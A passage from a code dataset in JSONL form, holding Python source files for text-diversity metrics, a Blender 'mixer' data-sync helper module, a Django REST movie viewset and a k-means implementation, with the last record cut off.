len(np.flatnonzero(np.core.defchararray.find(tok,'##')!=-1)) > 0:\n tok, boe = merge_bpe(tok, boe)\n\n return boe, tok\n\n def calculate_similarities(self, features):\n\n Z = compute_Z_faiss(features=features, \n distance_fn=self.config['distance_fn'], \n postprocess_fn=self.config['scale_dist'])\n\n # remove some noise from the Z similarities\n if self.config['power_reg']:\n Z **= 2\n\n # remove some noise from the Z similarities\n if self.config['mean_adj']:\n off_diag = np.where(~np.eye(Z.shape[0],dtype=bool))\n Z[off_diag] -= Z[off_diag].mean()\n Z = np.where(Z < 0, 0 , Z)\n\n return Z\n\n def calculate_similarity_vector(self, q_feat, c_feat):\n raise Exception(\"Ranking requires metrics that operate on the document level. Try DocumentSemantics instead.\")\n\n def calculate_abundance(self, species):\n num_species = len(species)\n p = np.full(num_species, 1 / num_species)\n return p\n\n def __call__(self, response_set): \n return super().__call__(response_set)\n\n\nclass STokenSemantics(TextDiversity):\n default_config = {\n # TextDiversity configs\n 'q': 1,\n 'normalize': False,\n 'distance_fn': faiss.METRIC_INNER_PRODUCT, # used for cosine similarity\n 'dim_reducer': PCA,\n 'remove_stopwords': False, \n 'remove_punct': True,\n 'scale_dist': None, \n 'power_reg': False, \n 'mean_adj': False,\n 'verbose': False,\n # SentenceSemanticDiversity configs\n 'MODEL_NAME':\"bert-large-nli-stsb-mean-tokens\",\n 'use_cuda': True,\n 'n_components': None \n }\n\n def __init__(self, config={}):\n config = {**self.default_config, **config} \n super().__init__(config)\n self.device = torch.device('cuda' if config['use_cuda'] and torch.cuda.is_available() else 'cpu')\n self.model = SentenceTransformer(config['MODEL_NAME'], device=self.device)\n self.config['verbose'] = config['verbose']\n self.undesirable_tokens = [\n self.model.tokenizer.pad_token_id, \n self.model.tokenizer.cls_token_id, \n self.model.tokenizer.sep_token_id\n ]\n\n # print('{0} ({1})'.format(self.__class__.__name__, config['MODEL_NAME']))\n\n def extract_features(self, corpus):\n\n inputs = self.model.tokenizer(corpus)\n tok = list(chain.from_iterable(inputs.input_ids))\n\n embeddings = self.model.encode(corpus, output_value='token_embeddings')\n\n boe = torch.cat(embeddings).numpy() \n\n # remove undesirable tokens\n idx = np.isin(tok, self.undesirable_tokens, assume_unique=True, invert=True).reshape(-1)\n # idx = np.isin(inputs['input_ids'], [self.tokenizer.cls_token_id], assume_unique=True).reshape(-1)\n tok = np.array(self.model.tokenizer.convert_ids_to_tokens(torch.tensor(tok).view(-1)))\n\n assert len(boe) == len(tok), \"boe.shape: {}\\n tok.shape: {}\".format(boe.shape, tok.shape)\n\n tok = tok[idx]\n boe = boe[idx]\n\n # remove stopwords\n if self.config['remove_stopwords']:\n idx = np.isin(tok, stopwords.words('english'), invert=True)\n tok = tok[idx]\n boe = boe[idx]\n\n # remove punctuation\n if self.config['remove_punct']:\n punct = '''!()-[]{};:'\"\\, <>./?@#$%^&*_~'''\n punct = [c for c in punct]\n idx = np.isin(tok, punct, invert=True)\n tok = tok[idx]\n boe = boe[idx]\n \n # compress embedding to speed up similarity matrix computation\n if self.config['n_components'] == \"auto\":\n n_components = min(max(2, len(boe) // 10), boe.shape[-1])\n if self.config['verbose']:\n print('Using n_components={}'.format(str(n_components)))\n else:\n n_components = -1\n\n if type(n_components) == int and n_components > 0 and len(boe) > 1:\n boe = self.config['dim_reducer'](n_components=n_components).fit_transform(boe)\n\n if len(np.flatnonzero(np.core.defchararray.find(tok,'##')!=-1)) > 0:\n tok, boe = merge_bpe(tok, boe)\n\n return boe, tok\n\n def calculate_similarities(self, features):\n\n Z = compute_Z_faiss(features=features, \n distance_fn=self.config['distance_fn'], \n postprocess_fn=self.config['scale_dist'])\n\n # remove some noise from the Z similarities\n if self.config['power_reg']:\n Z **= 2\n\n # remove some noise from the Z similarities\n if self.config['mean_adj']:\n off_diag = np.where(~np.eye(Z.shape[0],dtype=bool))\n Z[off_diag] -= Z[off_diag].mean()\n Z = np.where(Z < 0, 0 , Z)\n\n return Z\n\n def calculate_similarity_vector(self, q_feat, c_feat):\n raise Exception(\"Ranking requires metrics that operate on the document level. Try DocumentSemantics instead.\")\n\n def calculate_abundance(self, species):\n num_species = len(species)\n p = np.full(num_species, 1 / num_species)\n return p\n\n def __call__(self, response_set): \n return super().__call__(response_set)\n\n\nclass DocumentSemantics(TextDiversity):\n\n default_config = {\n # TextDiversity configs\n 'q': 1,\n 'normalize': False,\n 'distance_fn': faiss.METRIC_INNER_PRODUCT, # used for cosine similarity\n 'dim_reducer': PCA,\n 'remove_stopwords': False, \n 'scale_dist': None, \n 'power_reg': False, \n 'mean_adj': False,\n 'verbose': False,\n # DocumentSemantics configs\n 'MODEL_NAME': \"princeton-nlp/sup-simcse-roberta-large\", # \"bert-large-nli-stsb-mean-tokens\",\n 'use_cuda': True,\n 'n_components': None\n }\n\n def __init__(self, config={}):\n config = {**self.default_config, **config} \n super().__init__(config)\n self.device = torch.device('cuda' if config['use_cuda'] and torch.cuda.is_available() else 'cpu')\n self.model = SentenceTransformer(config['MODEL_NAME'], device=self.device)\n self.config['verbose'] = config['verbose']\n\n # print('{0} ({1})'.format(self.__class__.__name__, config['MODEL_NAME']))\n\n def extract_features(self, corpus, return_ids=False):\n\n boe = np.stack(self.model.encode(corpus))\n \n # compress embedding to speed up similarity matrix computation\n if self.config['n_components'] == \"auto\":\n n_components = min(max(2, len(boe) // 10), boe.shape[-1])\n if self.config['verbose']:\n print('Using n_components={}'.format(str(n_components)))\n else:\n n_components = -1\n\n if type(n_components) == int and n_components > 0 and len(boe) > 1:\n boe = self.config['dim_reducer'](n_components=n_components).fit_transform(boe)\n\n if return_ids:\n ids = list(range(len(boe))) # text_ids == sentence_ids, return both\n return boe, corpus, ids, ids\n return boe, corpus\n\n def calculate_similarities(self, features):\n \n Z = compute_Z_faiss(features=features, \n distance_fn=self.config['distance_fn'], \n postprocess_fn=self.config['scale_dist'])\n\n # remove some noise from the Z similarities\n if self.config['power_reg']:\n Z **= 2\n\n # remove some noise from the Z similarities\n if self.config['mean_adj']:\n off_diag = np.where(~np.eye(Z.shape[0],dtype=bool))\n Z[off_diag] -= Z[off_diag].mean()\n Z = np.where(Z < 0, 0 , Z)\n\n return Z\n\n\n def calculate_similarity_vector(self, q_feat, c_feat):\n\n z = similarity_search(query_features=q_feat, \n corpus_features=c_feat,\n distance_fn=self.config['distance_fn'], \n postprocess_fn=self.config['scale_dist'])\n\n # remove some noise from the z similarities\n if self.config['power_reg']:\n z **= 2\n\n if self.config['mean_adj']:\n z -= z.mean()\n z = np.where(z < 0, 0 , z)\n\n return z\n\n def calculate_abundance(self, species):\n num_species = len(species)\n p = np.full(num_species, 1 / num_species)\n return p\n\n def __call__(self, response_set): \n return super().__call__(response_set)\n\n\nclass AMR(TextDiversity):\n\n default_config = {\n # TextDiversity configs\n 'q': 1,\n 'normalize': False,\n 'verbose': False,\n # AMR configs\n 'use_cuda': True,\n 'batch_size': 4\n }\n\n def __init__(self, config={}):\n config = {**self.default_config, **config} \n super().__init__(config)\n self.device = torch.device('cuda' if config['use_cuda'] and torch.cuda.is_available() else 'cpu')\n self.config['verbose'] = config['verbose']\n \n # make sure stog model is downloaded \n # to amrlib's package repo\n download_stog_model()\n self.model = amrlib.load_stog_model(device=self.device, batch_size=self.config['batch_size'])\n self.scorer = WLKScorer().compute_score\n\n # print('{0} ({1})'.format(self.__class__.__name__, config['MODEL_NAME']))\n\n def extract_features(self, corpus, return_ids=False):\n graphs = self.model.parse_sents(corpus, add_metadata=False)\n if return_ids:\n ids = list(range(len(corpus))) # text_ids == sentence_ids, return both\n return graphs, corpus, ids, ids\n return graphs, corpus\n\n def calculate_similarities(self, features):\n num_embeddings = len(features)\n\n Z = np.eye(num_embeddings)\n iu = np.triu_indices(num_embeddings, k=1)\n il = (iu[1], iu[0])\n\n iterable = range(num_embeddings - 1)\n if self.config['verbose']:\n print('calculating similarity matrix...')\n iterable = tqdm(iterable)\n\n # for e1 in iterable:\n # for e2 in range(1, num_embeddings - e1):\n # s = self.scorer([features[e1]], [features[e1 + e2]])[0]\n # Z[e1][e1 + e2] = s\n\n for e1 in iterable:\n other_idx = e1 + 1\n c_feat = features[other_idx:]\n q_feat = [features[e1]] * len(c_feat)\n s = self.scorer(q_feat, c_feat)\n Z[e1][other_idx:] = s\n Z[il] = Z[iu]\n return Z\n\n def calculate_similarity_vector(self, q_feat, c_feat):\n # z = np.array([self.scorer([q_feat], [f])[0] for f in c_feat])\n z = self.scorer([q_feat] * len(c_feat), c_feat)\n return z\n\n def calculate_abundance(self, species):\n num_species = len(species)\n p = np.full(num_species, 1 / num_species)\n return p\n\n def __call__(self, response_set): \n return super().__call__(response_set)\n\n\nif __name__ == '__main__':\n\n # TEST\n lo_div = ['one massive earth', 'an enormous globe', 'the colossal world']\n hi_div = ['basic human right', 'you were right', 'make a right']\n\n # diversities\n print(\"diversities\")\n print_div_metric(TokenSemantics, lo_div, hi_div)\n print_div_metric(TokenEmbedding, lo_div, hi_div)\n print_div_metric(STokenSemantics, lo_div, hi_div)\n print_div_metric(DocumentSemantics, lo_div, hi_div)\n print_div_metric(AMR, lo_div, hi_div)\n\n # similarities\n print(\"similarities\")\n print_sim_metric(TokenSemantics, lo_div, hi_div)\n print_sim_metric(TokenEmbedding, lo_div, hi_div)\n print_sim_metric(STokenSemantics, lo_div, hi_div)\n print_sim_metric(DocumentSemantics, lo_div, hi_div)\n print_sim_metric(AMR, lo_div, hi_div)\n\n # rank similarities\n print(\"rankings\")\n print_ranking(DocumentSemantics, [\"a big planet\"], lo_div + hi_div)\n print_ranking(AMR, [\"a big planet\"], lo_div + hi_div)\n\n # (textdiv) ~\\GitHub\\TextDiversity\\src>python -m textdiversity.text_diversities.semantic","repo_name":"fabriceyhc/TextDiversity","sub_path":"src/textdiversity/text_diversities/semantic.py","file_name":"semantic.py","file_ext":"py","file_size_in_byte":20226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"22087470739","text":"from __future__ import annotations\n\nimport array\nimport logging\nfrom pathlib import Path\nimport traceback\nfrom typing import Any, Dict, ItemsView, Optional, TYPE_CHECKING, Union\n\nfrom mixer.local_data import get_resolved_file_path\n\nimport bpy\nimport bpy.types as T # noqa N812\nimport bpy.path\nimport mathutils\n\n\nif TYPE_CHECKING:\n from mixer.blender_data.aos_proxy import AosProxy\n from mixer.blender_data.datablock_proxy import DatablockProxy\n from mixer.blender_data.mesh_proxy import MeshProxy\n from mixer.blender_data.proxy import Context, Proxy\n from mixer.blender_data.struct_proxy import StructProxy\n from mixer.blender_data.struct_collection_proxy import StructCollectionProxy\n\nlogger = logging.getLogger(__name__)\n\n\n# Beware that MeshVertex must be handled as SOA although \"groups\" is a variable length item.\n# Enums are not handled by foreach_get()\nsoable_collection_properties = {\n T.GPencilStroke.bl_rna.properties[\"points\"],\n T.GPencilStroke.bl_rna.properties[\"triangles\"],\n T.Mesh.bl_rna.properties[\"edges\"],\n T.Mesh.bl_rna.properties[\"face_maps\"],\n T.Mesh.bl_rna.properties[\"loops\"],\n T.Mesh.bl_rna.properties[\"loop_triangles\"],\n T.Mesh.bl_rna.properties[\"polygons\"],\n T.Mesh.bl_rna.properties[\"vertices\"],\n T.MeshFaceMapLayer.bl_rna.properties[\"data\"],\n T.MeshLoopColorLayer.bl_rna.properties[\"data\"],\n T.MeshUVLoopLayer.bl_rna.properties[\"data\"],\n}\n\n\n_resize_geometry_types = tuple(\n type(t.bl_rna)\n for t in [\n T.MeshEdges,\n T.MeshLoops,\n T.MeshLoopTriangles,\n T.MeshPolygons,\n T.MeshVertices,\n ]\n)\n\n\n_mesh_geometry_properties = {\n \"edges\",\n \"loop_triangles\",\n \"loops\",\n \"polygons\",\n \"vertices\",\n}\n\"\"\"If the size of any of these has changes clear_geomtry() is required. Is is not necessary to check for\nother properties (uv_layers), as they are redundant checks\"\"\"\n\nmesh_resend_on_clear = {\n \"edges\",\n \"face_maps\",\n \"loops\",\n \"loop_triangles\",\n \"polygons\",\n \"vertices\",\n \"uv_layers\",\n \"vertex_colors\",\n}\n\"\"\"if geometry needs to be cleared, these arrays must be resend, as they will need to be reloaded by the receiver\"\"\"\n\n# in sync with soa_initializers\nsoable_properties = (\n T.BoolProperty,\n T.IntProperty,\n T.FloatProperty,\n mathutils.Vector,\n mathutils.Color,\n mathutils.Quaternion,\n)\n\n# in sync with soable_properties\nsoa_initializers: Dict[type, array.array] = {\n bool: array.array(\"b\", [0]),\n int: array.array(\"l\", [0]),\n float: array.array(\"f\", [0.0]),\n mathutils.Vector: array.array(\"f\", [0.0]),\n mathutils.Color: array.array(\"f\", [0.0]),\n mathutils.Quaternion: array.array(\"f\", [0.0]),\n}\n\n\ndef is_soable_collection(prop):\n return prop in soable_collection_properties\n\n\ndef is_soable_property(bl_rna_property):\n return isinstance(bl_rna_property, soable_properties)\n\n\nnode_tree_type = {\n \"SHADER\": \"ShaderNodeTree\",\n \"COMPOSITOR\": \"CompositorNodeTree\",\n \"TEXTURE\": \"TextureNodeTree\",\n}\n\n\ndef bpy_data_ctor(collection_name: str, proxy: DatablockProxy, context: Any) -> Optional[T.ID]:\n \"\"\"\n Create an element in a bpy.data collection.\n\n Contains collection-specific code is the mathod to add an element is not new(name: str)\n \"\"\"\n collection = getattr(bpy.data, collection_name)\n if collection_name == \"images\":\n image = None\n image_name = proxy.data(\"name\")\n filepath = proxy.data(\"filepath\")\n resolved_filepath = get_resolved_file_path(filepath)\n packed_files = proxy.data(\"packed_files\")\n if packed_files is not None and packed_files.length:\n name = proxy.data(\"name\")\n width, height = proxy.data(\"size\")\n try:\n with open(resolved_filepath, \"rb\") as image_file:\n buffer = image_file.read()\n image = collection.new(name, width, height)\n image.pack(data=buffer, data_len=len(buffer))\n except RuntimeError as e:\n logger.warning(\n f'Cannot load packed image original \"{filepath}\"\", resolved \"{resolved_filepath}\". Exception: '\n )\n logger.warning(f\"... {e}\")\n return None\n\n else:\n try:\n image = collection.load(resolved_filepath)\n image.name = image_name\n except RuntimeError as e:\n logger.warning(f'Cannot load image original \"{filepath}\"\", resolved \"{resolved_filepath}\". Exception: ')\n logger.warning(f\"... {e}\")\n return None\n\n # prevent filepath to be overwritten by the incoming proxy value as it would attempt to reload the file\n # from the incoming path that may not exist\n proxy._data[\"filepath\"] = resolved_filepath\n proxy._data[\"filepath_raw\"] = resolved_filepath\n return image\n\n if collection_name == \"objects\":\n from mixer.blender_data.datablock_ref_proxy import DatablockRefProxy\n from mixer.blender_data.misc_proxies import NonePtrProxy\n\n name = proxy.data(\"name\")\n target = None\n target_proxy = proxy.data(\"data\")\n if isinstance(target_proxy, DatablockRefProxy):\n target = target_proxy.target(context)\n elif isinstance(target_proxy, NonePtrProxy):\n target = None\n else:\n # error on the sender side\n logger.warning(f\"bpy.data.objects[{name}].data proxy is a {target_proxy.__class__}.\")\n logger.warning(\"... loaded as Empty\")\n target = None\n\n object_ = collection.new(name, target)\n return object_\n\n if collection_name == \"lights\":\n name = proxy.data(\"name\")\n light_type = proxy.data(\"type\")\n light = collection.new(name, light_type)\n return light\n\n if collection_name == \"node_groups\":\n name = proxy.data(\"name\")\n type_ = node_tree_type[proxy.data(\"type\")]\n return collection.new(name, type_)\n\n if collection_name == \"sounds\":\n filepath = proxy.data(\"filepath\")\n # TODO what about \"check_existing\" ?\n id_ = collection.load(filepath)\n # we may have received an ID named xxx.001 although filepath is xxx, so fix it now\n id_.name = proxy.data(\"name\")\n\n return id_\n\n name = proxy.data(\"name\")\n try:\n id_ = collection.new(name)\n except TypeError as e:\n logger.error(f\"Exception while calling : bpy.data.{collection_name}.new({name})\")\n logger.error(f\"TypeError : {e!r}\")\n return None\n\n return id_\n\n\nfilter_crop_transform = [\n T.EffectSequence,\n T.ImageSequence,\n T.MaskSequence,\n T.MetaSequence,\n T.MovieClipSequence,\n T.MovieSequence,\n T.SceneSequence,\n]\n\n\ndef conditional_properties(bpy_struct: T.Struct, properties: ItemsView) -> ItemsView:\n \"\"\"Filter properties list according to a specific property value in the same ID\n\n This prevents loading values that cannot always be saved, such as Object.instance_collection\n that can only be saved when Object.data is None\n\n Args:\n properties: the properties list to filter\n Returns:\n\n \"\"\"\n if isinstance(bpy_struct, T.ColorManagedViewSettings):\n if bpy_struct.use_curve_mapping:\n # Empty\n return properties\n filtered = {}\n filter_props = [\"curve_mapping\"]\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n if isinstance(bpy_struct, T.Object):\n if not bpy_struct.data:\n # Empty\n return properties\n filtered = {}\n filter_props = [\"instance_collection\"]\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n if isinstance(bpy_struct, T.Mesh):\n if not bpy_struct.use_auto_texspace:\n # Empty\n return properties\n filtered = {}\n filter_props = [\"texspace_location\", \"texspace_size\"]\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n if isinstance(bpy_struct, T.MetaBall):\n if not bpy_struct.use_auto_texspace:\n return properties\n filter_props = [\"texspace_location\", \"texspace_size\"]\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n if isinstance(bpy_struct, T.Node):\n if bpy_struct.hide:\n return properties\n\n # not hidden: saving width_hidden is ignored\n filter_props = [\"width_hidden\"]\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n if isinstance(bpy_struct, T.NodeTree):\n if not bpy_struct.is_embedded_data:\n return properties\n\n filter_props = [\"name\"]\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n filter_props = []\n if any(isinstance(bpy_struct, t) for t in filter_crop_transform):\n if not bpy_struct.use_crop:\n filter_props.append(\"crop\")\n if not bpy_struct.use_translation:\n filter_props.append(\"transform\")\n\n if not filter_props:\n return properties\n filtered = {k: v for k, v in properties if k not in filter_props}\n return filtered.items()\n\n return properties\n\n\ndef proxy_requires_clear_geometry(incoming_proxy: MeshProxy, mesh: T.Mesh) -> bool:\n for k in _mesh_geometry_properties:\n soa = getattr(mesh, k)\n existing_length = len(soa)\n incoming_soa = incoming_proxy.data(k)\n if incoming_soa:\n incoming_length = incoming_soa.length\n if existing_length != incoming_length:\n logger.debug(\n \"need_clear_geometry: %s.%s (current/incoming) (%s/%s)\",\n mesh,\n k,\n existing_length,\n incoming_length,\n )\n return True\n return False\n\n\ndef update_requires_clear_geometry(incoming_update: MeshProxy, existing_proxy: MeshProxy) -> bool:\n geometry_updates = _mesh_geometry_properties & set(incoming_update._data.keys())\n for k in geometry_updates:\n existing_length = existing_proxy._data[k].length\n incoming_soa = incoming_update.data(k)\n if incoming_soa:\n incoming_length = incoming_soa.length\n if existing_length != incoming_length:\n logger.debug(\"apply: length mismatch %s.%s \", existing_proxy, k)\n return True\n return False\n\n\ndef pre_save_datablock(proxy: DatablockProxy, target: T.ID, context: Context) -> T.ID:\n \"\"\"Process attributes that must be saved first and return a possibly updated reference to the target\"\"\"\n\n # WARNING this is called from save() and from apply()\n # When called from save, the proxy has all the synchronized properties\n # WHen called from apply, the proxy only contains the updated properties\n\n if isinstance(target, T.Mesh) and proxy_requires_clear_geometry(proxy, target):\n target.clear_geometry()\n elif isinstance(target, T.Material):\n use_nodes = proxy.data(\"use_nodes\")\n if use_nodes:\n target.use_nodes = True\n\n is_grease_pencil = proxy.data(\"is_grease_pencil\")\n # will be None for a DeltaUpdate that does not modify \"is_grease_pencil\"\n if is_grease_pencil is not None:\n # Seems to be write once as no depsgraph update is fired\n if is_grease_pencil and not target.grease_pencil:\n bpy.data.materials.create_gpencil_data(target)\n elif not is_grease_pencil and target.grease_pencil:\n bpy.data.materials.remove_gpencil_data(target)\n elif isinstance(target, T.Scene):\n from mixer.blender_data.misc_proxies import NonePtrProxy\n\n # Set 'use_node' to True first is the only way I know to be able to set the 'node_tree' attribute\n use_nodes = proxy.data(\"use_nodes\")\n if use_nodes:\n target.use_nodes = True\n\n sequence_editor = proxy.data(\"sequence_editor\")\n if sequence_editor is not None:\n # NonePtrProxy or StructProxy\n if not isinstance(sequence_editor, NonePtrProxy) and target.sequence_editor is None:\n target.sequence_editor_create()\n elif isinstance(sequence_editor, NonePtrProxy) and target.sequence_editor is not None:\n target.sequence_editor_clear()\n elif isinstance(target, T.Light):\n # required first to have access to new light type attributes\n light_type = proxy.data(\"type\")\n if light_type is not None and light_type != target.type:\n target.type = light_type\n # must reload the reference\n target = proxy.target(context)\n elif isinstance(target, T.World):\n use_nodes = proxy.data(\"use_nodes\")\n if use_nodes:\n target.use_nodes = True\n\n return target\n\n\ndef pre_save_struct(proxy: StructProxy, target: T.bpy_struct, context: Context) -> T.bpy_struct:\n \"\"\"Process attributes that must be saved first\"\"\"\n if isinstance(target, T.ColorManagedViewSettings):\n use_curve_mapping = proxy.data(\"use_curve_mapping\")\n if use_curve_mapping:\n target.use_curve_mapping = True\n return target\n\n\ndef post_save_id(proxy: Proxy, bpy_id: T.ID):\n \"\"\"Apply type specific patches after loading bpy_struct into proxy\"\"\"\n pass\n\n\n_link_collections = tuple(type(t.bl_rna) for t in [T.CollectionObjects, T.CollectionChildren, T.SceneObjects])\n\n\ndef add_datablock_ref_element(collection: T.bpy_prop_collection, datablock: T.ID):\n \"\"\"Add an element to a bpy_prop_collection using the collection specific API\"\"\"\n bl_rna = getattr(collection, \"bl_rna\", None)\n if bl_rna is not None:\n if isinstance(bl_rna, _link_collections):\n collection.link(datablock)\n return\n\n if isinstance(bl_rna, type(T.IDMaterials.bl_rna)):\n collection.append(datablock)\n return\n\n logging.warning(f\"add_datablock_ref_element : no implementation for {collection} \")\n\n\nnon_effect_sequences = {\"IMAGE\", \"SOUND\", \"META\", \"SCENE\", \"MOVIE\", \"MOVIECLIP\", \"MASK\"}\neffect_sequences = set(T.EffectSequence.bl_rna.properties[\"type\"].enum_items.keys()) - non_effect_sequences\n\n_new_name_types = (type(T.UVLoopLayers.bl_rna), type(T.LoopColors.bl_rna), type(T.FaceMaps.bl_rna))\n\n\ndef add_element(proxy: Proxy, collection: T.bpy_prop_collection, key: str, context: Context):\n \"\"\"Add an element to a bpy_prop_collection using the collection specific API\"\"\"\n\n bl_rna = getattr(collection, \"bl_rna\", None)\n if bl_rna is not None:\n if isinstance(bl_rna, (type(T.ObjectModifiers.bl_rna), type(T.ObjectGpencilModifiers.bl_rna))):\n name = proxy.data(\"name\")\n modifier_type = proxy.data(\"type\")\n return collection.new(name, modifier_type)\n\n if isinstance(bl_rna, type(T.SequenceModifiers.bl_rna)):\n name = proxy.data(\"name\")\n type_ = proxy.data(\"type\")\n return collection.new(name, type_)\n\n if isinstance(bl_rna, type(T.ObjectConstraints.bl_rna)):\n type_ = proxy.data(\"type\")\n return collection.new(type_)\n\n if isinstance(bl_rna, type(T.Nodes.bl_rna)):\n node_type = proxy.data(\"bl_idname\")\n return collection.new(node_type)\n\n if isinstance(bl_rna, _new_name_types):\n name = proxy.data(\"name\")\n return collection.new(name=name)\n\n if isinstance(bl_rna, type(T.GreasePencilLayers.bl_rna)):\n name = proxy.data(\"info\")\n return collection.new(name)\n\n if isinstance(bl_rna, type(T.KeyingSets.bl_rna)):\n idname = proxy.data(\"bl_idname\")\n return collection.new(name=key, idname=idname)\n\n if isinstance(bl_rna, type(T.KeyingSetPaths.bl_rna)):\n # TODO current implementation fails\n # All keying sets paths have an empty name, and insertion with add() fails\n # with an empty name\n target_ref = proxy.data(\"id\")\n if target_ref is None:\n target = None\n else:\n target = target_ref.target(context)\n data_path = proxy.data(\"data_path\")\n index = proxy.data(\"array_index\")\n group_method = proxy.data(\"group_method\")\n group_name = proxy.data(\"group\")\n return collection.add(\n target_id=target, data_path=data_path, index=index, group_method=group_method, group_name=group_name\n )\n\n if isinstance(bl_rna, type(T.Nodes.bl_rna)):\n node_type = proxy.data(\"bl_idname\")\n return collection.new(node_type)\n\n if isinstance(\n bl_rna,\n (\n type(T.NodeInputs.bl_rna),\n type(T.NodeOutputs.bl_rna),\n type(T.NodeTreeInputs.bl_rna),\n type(T.NodeTreeOutputs.bl_rna),\n ),\n ):\n socket_type = proxy.data(\"type\")\n name = proxy.data(\"name\")\n return collection.new(socket_type, name)\n\n if isinstance(bl_rna, type(T.Sequences.bl_rna)):\n type_ = proxy.data(\"type\")\n name = proxy.data(\"name\")\n channel = proxy.data(\"channel\")\n frame_start = proxy.data(\"frame_start\")\n if type_ in effect_sequences:\n # overwritten anyway\n frame_end = frame_start + 1\n return collection.new_effect(name, type_, channel, frame_start, frame_end=frame_end)\n if type_ == \"SOUND\":\n sound = proxy.data(\"sound\")\n target = sound.target(context)\n if not target:\n logger.warning(f\"missing target ID block for bpy.data.{sound.collection}[{sound.key}] \")\n return None\n filepath = target.filepath\n return collection.new_sound(name, filepath, channel, frame_start)\n if type_ == \"MOVIE\":\n filepath = proxy.data(\"filepath\")\n return collection.new_movie(name, filepath, channel, frame_start)\n if type_ == \"IMAGE\":\n directory = proxy.data(\"directory\")\n filename = proxy.data(\"elements\").data(0).data(\"filename\")\n filepath = str(Path(directory) / filename)\n return collection.new_image(name, filepath, channel, frame_start)\n\n logger.warning(f\"Sequence type not implemented: {type_}\")\n # SCENE may be harder than it seems, since we cannot order scene creations.\n # Currently the creation order is the \"deepmost\" order as listed in proxy.py:_creation_order\n # but it does not work for this case\n return None\n\n try:\n return collection.add()\n except Exception:\n pass\n\n # try our best\n new_or_add = getattr(collection, \"new\", None)\n if new_or_add is None:\n new_or_add = getattr(collection, \"add\", None)\n if new_or_add is None:\n logger.warning(f\"Not implemented new or add for bpy.data.{collection}[{key}] ...\")\n return None\n try:\n return new_or_add(key)\n except Exception:\n logger.warning(f\"Not implemented new or add for type {type(collection)} for {collection}[{key}] ...\")\n for s in traceback.format_exc().splitlines():\n logger.warning(f\"...{s}\")\n return None\n\n\nalways_clear = [type(T.ObjectModifiers.bl_rna), type(T.ObjectGpencilModifiers.bl_rna), type(T.SequenceModifiers.bl_rna)]\n\"\"\"Collections in this list are order dependent and should always be cleared\"\"\"\n\n\ndef truncate_collection(target: T.bpy_prop_collection, proxy: Union[StructCollectionProxy, AosProxy], context: Context):\n \"\"\"\"\"\"\n if not hasattr(target, \"bl_rna\"):\n return\n\n target_rna = target.bl_rna\n if any(isinstance(target_rna, t) for t in always_clear):\n target.clear()\n return\n\n if isinstance(target_rna, _resize_geometry_types):\n existing_length = len(target)\n incoming_length = proxy.length\n if existing_length != incoming_length:\n if existing_length != 0:\n logger.error(f\"resize_geometry(): size mismatch for {target}\")\n logger.error(f\"... existing: {existing_length} incoming {incoming_length}\")\n return\n logger.debug(f\"resizing geometry: add({incoming_length}) for {target}\")\n target.add(incoming_length)\n return\n\n if isinstance(target_rna, type(T.GPencilStrokePoints.bl_rna)):\n existing_length = len(target)\n incoming_length = proxy.length\n delta = incoming_length - existing_length\n if delta > 0:\n target.add(delta)\n else:\n while delta < 0:\n target.pop()\n delta += 1\n return\n\n incoming_keys = set(proxy._data.keys())\n existing_keys = set(target.keys())\n truncate_keys = existing_keys - incoming_keys\n if not truncate_keys:\n return\n if isinstance(target_rna, type(T.KeyingSets.bl_rna)):\n for k in truncate_keys:\n target.active_index = target.find(k)\n bpy.ops.anim.keying_set_remove()\n else:\n try:\n for k in truncate_keys:\n target.remove(target[k])\n except Exception:\n logger.warning(f\"Not implemented truncate_collection for type {target.bl_rna} for {target} ...\")\n for s in traceback.format_exc().splitlines():\n logger.warning(f\"...{s}\")\n","repo_name":"OpenWRLD/mixer","sub_path":"mixer/blender_data/specifics.py","file_name":"specifics.py","file_ext":"py","file_size_in_byte":21676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"11575970305","text":"from rest_framework import status, viewsets\nfrom rest_framework.response import Response\n\nfrom .api import OMDbAPI\nfrom .filters import MovieFilter\nfrom .models import Movie\nfrom .serializers import MovieAPISerializer, MovieSerializer\n\n\nclass MovieViewSet(viewsets.ModelViewSet):\n queryset = Movie.objects.all()\n filterset_class = MovieFilter\n serializer_class = MovieSerializer\n api = OMDbAPI\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n api_serializer = self.perform_create(serializer)\n headers = self.get_success_headers(api_serializer.data)\n return Response(\n api_serializer.validated_data,\n status=status.HTTP_201_CREATED,\n headers=headers,\n )\n\n def perform_create(self, serializer):\n obj = self.api.get_movie_by_title(serializer.validated_data['title'])\n serializer = MovieAPISerializer(data=obj)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return serializer\n","repo_name":"kuter/movies-imdb","sub_path":"movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2298305562","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport warnings\n\nclass KMeans:\n def __init__(self, k=5, max_iters=100, verbose=True):\n self.k = k\n self.max_iters = max_iters\n self.verbose = verbose\n \n def fit(self, x):\n n,d = x.shape\n init_centers = np.random.choice(n, self.k, replace=False)\n mu = x[init_centers]\n for t in range(self.max_iters):\n distances = np.sum((mu[None,:,:] - x[:,None,:])**2, -1) # n x k\n membership = np.argmin(distances, 1)\n mu_new = mu.copy()\n for i in range(self.k):\n mu_new[i,:] = np.mean(x[membership==i], 0)\n if np.allclose(mu_new, mu):\n if self.verbose:\n print(f'converged after {t} iterations, cost {np.sum(np.min(distances,1))}')\n break\n mu = mu_new\n return mu, membership","repo_name":"marw12/MiniProject_1","sub_path":"kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"4022210840","text":"from typing import List\nfrom collections 